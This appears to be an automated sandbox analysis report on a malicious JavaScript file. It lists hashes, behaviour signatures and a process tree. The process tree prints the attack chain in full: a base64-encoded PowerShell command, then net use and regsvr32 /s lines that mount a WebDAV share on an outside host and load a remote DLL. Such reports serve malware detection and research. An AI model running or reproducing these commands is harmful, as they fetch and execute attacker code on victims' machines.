Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 14:26

General

  • Target

    831d9ef98a67536b60b4032994e4744cbce6e0e20b575cc1ddb21bcca5312dd8.js

  • Size

    12KB

  • MD5

    66418ea0fbb4363e0e80ad7be3893e92

  • SHA1

    8d20c2352a9d69ca44b9997ed9eac58b9ceeef3a

  • SHA256

    831d9ef98a67536b60b4032994e4744cbce6e0e20b575cc1ddb21bcca5312dd8

  • SHA512

    f0e79b445dab6c5ca41fd08db38fd5ff0221294b87ca450bee338cf547961452b0cb52df0684c3ced9909d45c19b7f0d6348d1eb8ccec8768d1c4357dc891617

  • SSDEEP

    384:XoEiyoNtgR44rck+t3beWI5R44rck+t3byYwZpIBC:XoEdoNtEvN+tLeWIvvN+tLyYwZpIw

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\831d9ef98a67536b60b4032994e4744cbce6e0e20b575cc1ddb21bcca5312dd8.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADMAOAA5ADkAMgAzADYANQAwADEAMQA4ADEANAAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4920
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:2612
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\38992365011814.dll
          3⤵
            PID:3660

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e1q2njpz.54z.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4920-0-0x00007FFA53613000-0x00007FFA53615000-memory.dmp

        Filesize

        8KB

      • memory/4920-1-0x0000027550170000-0x0000027550192000-memory.dmp

        Filesize

        136KB

      • memory/4920-11-0x00007FFA53610000-0x00007FFA540D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4920-14-0x00007FFA53610000-0x00007FFA540D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4920-15-0x00007FFA53610000-0x00007FFA540D1000-memory.dmp

        Filesize

        10.8MB